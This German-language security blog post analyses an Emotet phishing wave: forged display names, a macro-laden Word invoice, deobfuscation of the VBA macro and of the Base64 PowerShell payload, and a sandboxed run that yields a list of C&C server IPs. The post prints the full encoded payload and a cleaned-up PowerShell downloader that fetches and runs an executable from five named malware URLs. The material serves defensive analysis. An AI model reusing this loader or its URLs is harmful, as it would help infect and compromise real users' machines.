Wir haben eine aktuelle Welle von Phishing-Mails analysiert, die versuchen, den Emotet-Banking-Trojaner über bösartige Word-Dokumente zu verbreiten. Dieser Beitrag enthält Einzelheiten zu den Verschleierungsmethoden, die im VBA-Makro und im PowerShell-Skript in den Word-Dokumenten verwendet werden.
Inhalt
- Einführung
- Deobfuscating des VBA-Makros
- Deobfuscating des PowerShell-Skripts
- Ausführen des Emotet-Trojaners
1. Einführung
Damit eine Infektion stattfinden kann, sind vier Benutzerinteraktionen erforderlich: Öffnen der E-Mail, Klicken auf den darin enthaltenen Link, Öffnen des heruntergeladenen Word-Dokuments und dann Aktivieren der Ausführung von Makros:

Das Makro führt dann ein PowerShell-Skript aus, welches wiederum den Emotet-Trojaner herunterlädt und ausführt.
Die Phishing-Mails verwenden keinen falschen Absender, stattdessen fälschen sie den Anzeigenamen. Der Anzeigename ist auf eine (gültige) E-Mail-Adresse gesetzt: "MatthiasPeters@firma.de" <juan.reynolds@resory.pl>
Der E-Mail-Text gibt vor, eine wichtige Rechnung zu enthalten, die als Link bereitgestellt wird. Ein Klick auf den Link lädt eine .doc Microsoft Word-Datei herunter. Die verlinkten Domains scheinen Webseiten mit gehackter CMS-Software zu sein. Das Word-Dokument verwendet einen Standard-Phishing-Trick: Es behauptet, „geschützt“ zu sein, und fordert den Benutzer auf, Makros zu aktivieren, um den Inhalt des Dokuments sehen zu können:

2. Deobfuscating des VBA-Makros
Wir haben den VBA-Code des Makros mit oledump.py extrahiert:
Hier den gesamten Code ansehen.
| |
Von den 152 Codezeilen haben nur wenige einen tatsächlichen Zweck - der Rest ist nur zur Ablenkung da. Die meisten Funktionen des Codes werden nicht einmal aufgerufen.
Ein guter Anfang ist die Suche nach der Funktion autoopen(), die ausgeführt wird, wenn das Dokument geöffnet wird:
Sub autoopen()
VKbZcLUg
End Sub
Dies führt uns zur Funktion VKbZcLUg(). Sie enthält jede Menge nutzlosen Code wie:
YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
Dies sind sinnlose Vergleichsoperationen. Eine Variable x wird auf wahr oder falsch gesetzt, je nachdem, ob a + b gleich c ist oder nicht:
x = a + b = c
All diese Zeilen sind irrelevant und können übersprungen werden.
Zeilen mit Funktionsaufrufen in Klammern müssen genauer betrachtet werden:
ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
Die Funktion yKvCXNf() wird immer wieder mit unterschiedlichen Argumenten aufgerufen. Diese Funktion enthält weitere Vergleichsoperationen zur Ablenkung und eine Zeile mit tatsächlich nützlichem Code:
Public Function yKvCXNf(vRKbufsX)
[...]
KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
Diese Zeile sucht und gibt benutzerdefinierte Dokumenteigenschaften zurück, die für das Word-Dokument festgelegt wurden, basierend auf dem übergebenen Parameter. Wir werfen einen Blick auf die benutzerdefinierten Dokumenteigenschaften und sehen, dass sie Zeichenkettenteile für die Zeichenfolgen "powershell" und "wscript.shell" enthalten:

Zurück zur Hauptfunktion VKbZcLUg() gibt es zwei Codezeilen, die die eigentliche Arbeit erledigen. Sie sind an den Zeichenfolgen ActiveDocument.BuiltInDocumentProperties("Comments") und CreateObject(DEBAKSwY).Run zu erkennen:
mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
Es findet jede Menge Zeichenkettenverkettung statt, mit undefinierten Variablen, die alle ignoriert werden können. Die eigentliche Zeichenkette stammt aus dem Kommentarfeld des Dokuments. Ein Blick darauf zeigt eine lange Base64-codierte Zeichenkette:

JAB7AFcAYABzAEMAUgBgAEkAcABUAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAG4AZQB3AC0AbwBiACcALAAnAHQAJwAsACcAagBlAGMAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAFcAUwBjAHIAaQBwACcALAAnAHQALgBTAGgAZQBsACcALAAnAGwAJwApADsAJAB7AHcAYABFAEIAYwBgAGwASQBlAE4AVAB9ACAAPQAgACYAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACcAZQB3AC0AbwAnACwAJwBuACcALAAnAGUAYwB0ACcALAAnAGIAagAnACkAIAAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAJwBiAEMAbABpACcALAAnAFcAJwAsACcAdAAnACwAJwBlACcALAAnAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AJwApADsAJAB7AFIAYABBAGAATgBEAE8ATQB9ACAAPQAgACYAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBvAGIAJwAsACcAagBlAGMAdAAnACwAJwBuAGUAdwAtACcAKQAgACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbQAnACwAJwByAGEAbgBkAG8AJwApADsAJAB7AHUAYABSAEwAcwB9ACAAPQAgACgAIgB7ADIAMwB9AHsAMQA1AH0AewAxADkAfQB7ADEAfQB7ADEAMwB9AHsAMQA2AH0AewA4AH0AewAxADgAfQB7ADIANwB9AHsAMQAwAH0AewAyADkAfQB7ADEAMgB9AHsANQB9AHsAMgA1AH0AewAxADcAfQB7ADIAfQB7ADAAfQB7ADIAMQB9AHsAMgA4AH0AewAxADEAfQB7ADYAfQB7ADEANAB9AHsANAB9AHsAMwB9AHsAOQB9AHsANwB9AHsAMgAyAH0AewAyADAAfQB7ADIANgB9AHsAMgA0AH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvAC8AYQAnACwAJwBiAG8AJwAsACcALwBsAEUAWQBKAGsALwAsAGgAJwAsACcAcgBpAHgAbQAnACwAJwAvAC8AZwBsAG8AYgBhAGwAbQBhAHQAJwAsACcAdAB1ACcALAAnAHQALwBWAFcASwBuAGcAaAAvACcALAAnAGUAdAAnACwAJwAvAGQAYQB6AGUAJwAsACcAYQByAGsAJwAsACcAbwBtAC4AaABrAC8AeQBhACcALAAnAHAAJwAsACcAaAB0AHQAcAA6AC8ALwBmAHUAbgBrAHkAcwAnACwAJwBuAG4AaQBlAGoAYQAnACwAJwAsAGgAdAB0AHAAOgAnACwAJwAvAC8AbQBpAHMAJwAsACcAbgBlAC4AYwBvAG0ALwBIAC8ALABoAHQAdABwADoALwAnACwAJwBvAHIAZwAnACwAJwAuACcALAAnAHMAJwAsACcAZwAuAGMAbwAnACwAJwByAGQAdwAnACwAJwBpAG4AJwAsACcAaAB0AHQAcAA6ACcALAAnAC8ASABYAEEAcABKAGoALwAnACwAJwBkAGkAbwAuACcALAAnAG0AJwAsACcAYwAnACwAJwBlAGIALgAnACwAJwBlAFIAWABxAC8ALAAnACkALgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAnAFMAcABsAGkAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYABBAE0ARQB9ACAAPQAgACQAewByAGAAQQBuAGQATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeAB0ACcALAAnAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBwAGAAQQBUAEgAfQAgAD0AIAAkAHsAZQBuAHYAYAA6AHQAZQBgAG0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAGAAQQBNAGUAfQAgACsAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlAHgAJwAsACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB7AHUAYABSAEwAfQAgAGkAbgAgACQAewB1AGAAUgBsAFMAfQApAHsAdAByAHkAewAkAHsAVwBFAEIAQwBgAEwAYABJAGUAbgBUAH0ALgAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AIgAtAGYAJwBEAG8AdwBuACcALAAnAEYAJwAsACcAaQBsAGUAJwAsACcAbABvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAFQAbwBTACcALAAnAHQAcgBpACcALAAnAG4AZwAnACkALgBJAG4AdgBvAGsAZQAoACkALAAgACQAewBQAGAAQQB0AGgAfQApADsALgAoACIAewAwAH0AewAyAH0AewAxAH0AewAzAH0AIgAgAC0AZgAgACcAUwB0ACcALAAnAHMAJwAsACcAYQByAHQALQBQAHIAbwBjAGUAJwAsACcAcwAnACkAIAAkAHsAUABhAGAAVABoAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7ACYAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAC0AJwAsACcAaABvAHMAdAAnACwAJwByAGkAdAAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAYAB4AGMAZQBQAHQASQBgAE8ATgAiAC4AIgBtAGAAZQBzAHMAQQBgAEcARQAiADsAfQB9AA0ACgA=
Zeit, alle unsere Ergebnisse zusammenzuführen! Wir haben einen CreateObject-Aufruf, der ein Objekt vom Typ “wscript.shell” erstellt. Dann führt es den Shell-Befehl "powershell -e JAB7AFcAYABzAEMAUgBgAEk[...]CgA=" mit dem vollständigen Base64-codierten PowerShell-Skript aus. Dies nutzt die praktische PowerShell-Befehlszeilenoption -EncodedCommand oder -e, die Base64-codierte Befehle akzeptiert.
Hier ist das vollständig deobfuscated Makro:
Sub autoopen()
f1
End Sub
Public Function f1()
x1 = "wscript.shell"
x2 = "powershell -e "
payload = x2 + "" + ActiveDocument.BuiltInDocumentProperties("Comments")
CreateObject(x1).Run$ payload
End Function
3. Deobfuscating des PowerShell-Skripts
Beim Decodieren der Base64-Zeichenkette, die wir aus dem Kommentarfeld des Dokuments erhalten haben, finden wir etwas leicht verschleierten PowerShell-Code:
${W`sCR`IpT} = .("{0}{2}{1}" -f'new-ob','t','jec') -ComObject ("{0}{1}{2}"-f'WScrip','t.Shel','l');
${R`A`NDOM} = &("{2}{0}{1}"-f 'ob','ject','new-') ("{1}{0}" -f'm','rando');
${u`RLs} = ("{23}{15}{19}{1}{13}{16}{8}{18}{27}{10}{29}{12}{5}{25}{17}{2}{0}{21}{28}{11}{6}{14}{4}{3}{9}{7}{22}{20}{26}{24}"
-f 'ttp://a','bo','/lEYJk/,h','rixm','//globalmat','tu','t/VWKngh/','et','/daze','ark','om.hk/ya','p','http://funkys','nnieja',
',http:','//mis','ne.com/H/,http:/','org','.','s','g.co','rdw','in','http:','/HXApJj/','dio.','m','c','eb.','eRXq/,').
("{1}{0}"-f't','Spli').Invoke(',');
${n`AME} = ${r`AndOm}.("{1}{0}"-f 'ext','n').Invoke(1, 65536);
${p`ATH} = ${env`:te`mP} + '\' + ${n`AMe} + ("{0}{1}" -f '.ex','e');
foreach(${u`RL} in ${u`RlS}){try{${WEBC`L`IenT}.("{0}{3}{1}{2}"-f'Down','F','ile','load').Invoke(${U`RL}.
("{0}{1}{2}" -f'ToS','tri','ng').Invoke(), ${P`Ath});
.("{0}{2}{1}{3}" -f 'St','s','art-Proce','s') ${Pa`Th};break;}
catch{&("{3}{2}{0}{1}" -f'e-','host','rit','w') ${_}."E`xcePtI`ON"."m`essA`GE";}}
Der Code verwendet einige kleine String-Tricks mit dem -f Format-Operator von PowerShell. Er ordnet Fragmente einer Zeichenkette ('new-ob','t','jec') in die Reihenfolge an, die von einfachen Platzhaltern ({0}{2}{1}) vorgegeben wird. Der Rest ist nur ausgefallene Variablenbenennung wie ${WsCRIpT}.
Wenn man die Zeichenketten neu anordnet und die Variablennamen bereinigt, erhält man:
$wscript = New-Object -ComObject WScript.Shell;
$webclient = New-Object System.Net.WebClient;
$random = New-Object Random;
$urls = (
http://missbonniejane.com/H/,
http://daze.com.hk/yaeRXq/,
http://funkystudio.org/lEYJk/,
http://ardweb.pt/VWKngh/,
http://globalmatrixmarketing.com/HXApJj/
).Split(',');
$name = $random.Next(1,65536);
$path = $env:temp + '\' + $name + ".exe";
foreach($url in $urls){
try{
$webclient.DownloadFile($url.ToString, {path});
Start-Process ${path};
break;
}
catch{ write-host $_.Exception.Message; }
}
Wie wir sehen können, lädt der Code den Trojaner von fünf verschiedenen URLs herunter, speichert ihn im temporären Verzeichnis mit einem zufällig generierten numerischen Namen und führt ihn dann aus.
4. Ausführen des Emotet-Trojaners
Wir führen den Trojaner in einer benutzerdefinierten VM ohne Netzwerkadapter und mit einem gefälschten Netzwerk aus, das von Fakenet-NG bereitgestellt wird. Beim Sniffen des Netzwerkverkehrs des Trojaners sehen wir periodische HTTP-POSTs mit verschlüsselten Daten an eine rotierende Liste von C&C-Servern:

Wir lassen den Trojaner eine Weile laufen, um die folgende vollständige Liste der Server zu erhalten:
| IP | Port | Netzwerk | Standort |
|---|---|---|---|
| 173.212.227.54 | 443 | AS51167 Contabo GmbH | Deutschland |
| 104.236.252.178 | 8080 | AS62567 DigitalOcean, LLC | Clifton, NJ, USA |
| 162.243.159.58 | 443 | AS14061 DigitalOcean, LLC | San Francisco, CA, USA |
| 45.33.55.157 | 8080 | AS63949 Linode, LLC | Fremont, CA, USA |
| 77.244.245.37 | 7080 | AS47692 Nessus GmbH | Wien, Österreich |
| 192.81.212.79 | 443 | AS62567 DigitalOcean, LLC | North Bergen, NJ, USA |
| 173.212.192.45 | 443 | AS51167 Contabo GmbH | Deutschland |
| 103.16.131.20 | 8080 | AS133159 Mammoth Media Pty Ltd | Australien |
Lesen Sie über weitere interessante Themen in unserem Blog.